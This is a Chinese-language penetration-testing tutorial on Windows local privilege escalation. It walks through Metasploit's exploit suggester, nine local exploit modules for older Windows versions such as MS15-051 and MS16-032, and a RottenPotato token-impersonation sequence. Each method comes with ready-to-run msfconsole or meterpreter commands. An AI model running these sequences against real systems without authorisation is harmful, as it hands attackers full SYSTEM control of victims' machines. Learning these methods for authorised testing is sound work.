Windows内核提权技术详解
一、Windows提权概述
Windows内核提权是通过利用操作系统内核或系统组件中的漏洞,将当前用户权限提升至SYSTEM级别(NT AUTHORITY\SYSTEM)的技术。本文详细介绍了多种Windows内核提权方法,主要基于Metasploit框架中的模块实现。
二、自动化漏洞检测
Local Exploit Suggester模块
Metasploit内置的local_exploit_suggester模块可自动检测目标系统存在的可利用漏洞,根据架构、平台、会话类型推荐合适的exp。
使用方法:
- 获取meterpreter会话
- 将当前会话放入后台(CTRL+Z)
- 执行以下命令:
use post/multi/recon/local_exploit_suggester
set LHOST 192.168.1.107
set SESSION 1
exploit
该模块会列出目标系统所有可用的本地提权漏洞。
三、具体提权方法详解
1. MS15-051 ClientCopyImage Win32k漏洞
漏洞描述:
Win32k.sys内核模式驱动程序中存在不正确的对象处理漏洞。
受影响系统:
- Windows 7 x86/x64
- Windows Server 2008 R2 SP1 x64
利用方法:
use exploit/windows/local/ms15_051_client_copy_image
set lhost 192.168.1.107
set session 1
exploit
2. MS14-058 TrackPopupMenu Win32k空指针解引用
漏洞描述:
利用win32k.sys中的NULL Pointer Dereference漏洞,通过TrackPopupMenu触发。
受影响系统:
- Windows XP SP3
- Windows Server 2003 SP2
- Windows 7 SP1
- Windows Server 2008 (32位)
- Windows Server 2008 R2 SP1 (64位)
利用方法:
use exploit/windows/local/ms14_058_track_popup_menu
set lhost 192.168.1.107
set session 1
exploit
3. MS10-015 KiTrap0D漏洞
漏洞描述:
通过KiTrap0D生成SYSTEM权限的新会话。
限制:
- 依赖kitrap0d.x86.dll
- 不支持64位系统
- 当前会话不能已是SYSTEM权限
受影响系统:
- Windows Server 2003
- Windows Server 2008
- Windows 7
- Windows XP (仅32位)
利用方法:
use exploit/windows/local/ms10_015_kitrap0d
set lhost 192.168.1.107
set session 1
exploit
4. MS10-092 任务计划程序XML提权
漏洞描述:
Windows任务计划程序中的漏洞可导致提权。
限制:
- 需要合法凭证和本地登录
- 远程/匿名用户无法利用
受影响系统:
- Windows Vista
- Windows 7
- Windows Server 2008 (x86/x64)
利用方法:
use exploit/windows/local/ms10_092_schelevator
set lhost 192.168.1.107
set session 1
exploit
5. MS16-016 mrxdav.sys WebDav本地提权
漏洞描述:
利用mrxdav.sys中的漏洞提权。
受影响系统:
- Windows 7 SP1 x86
利用方法:
use exploit/windows/local/ms16_016_webdav
set lhost 192.168.1.107
set session 1
exploit
6. EPATHOBJ::pprFlattenRec本地提权
漏洞描述:
EPATHOBJ::pprFlattenRec使用未初始化数据导致内存破坏。
受影响系统:
- Windows XP SP3
- Windows 2003 SP1
- Windows 7 SP1
利用方法:
use exploit/windows/local/ppr_flatten_rec
set lhost 192.168.1.107
set session 1
exploit
7. MS13-053 NTUserMessageCall Win32k内核池溢出
漏洞描述:
Win32k中的内核池溢出导致本地提权,清除winlogon.exe进程的ACL。
注意:
- 退出meterpreter会话可能导致winlogon.exe崩溃
- 2013年Pwn2Own大赛中用于攻破Chrome沙箱
受影响系统:
- Windows 7 SP1 x86
利用方法:
use exploit/windows/local/ms13_053_schlamperei
set lhost 192.168.1.107
set session 1
exploit
8. MS16-032 Secondary Logon Handle提权
漏洞描述:
利用Windows Secondary Logon服务中标准句柄清理功能的缺失。
限制:
- 需要PowerShell 2.0+
- 仅对多CPU内核系统有效
受影响系统:
- Windows 7-10
- Windows Server 2008/2012
- 32位和64位系统
利用方法:
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
exploit
9. RottenPotato提权
漏洞描述:
从service账户提升到SYSTEM权限的本地提权方法。
实施步骤:
- 检查可用令牌:
load incognito
list_tokens -u
- 下载RottenPotato:
git clone https://github.com/foxglovesec/RottenPotato.git
cd RottenPotato
- 上传到目标:
upload /root/Desktop/RottenPotato/rottenpotato.exe
- 执行提权:
execute -Hc -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"
四、总结
本文详细介绍了多种Windows内核提权技术,涵盖了从Windows XP到Windows 10/Server 2012的多个版本。在实际渗透测试中,应根据目标系统版本选择合适的提权方法,并注意各方法的限制条件。自动化工具如local_exploit_suggester可大大提高效率,但手动验证和选择exp仍是必要步骤。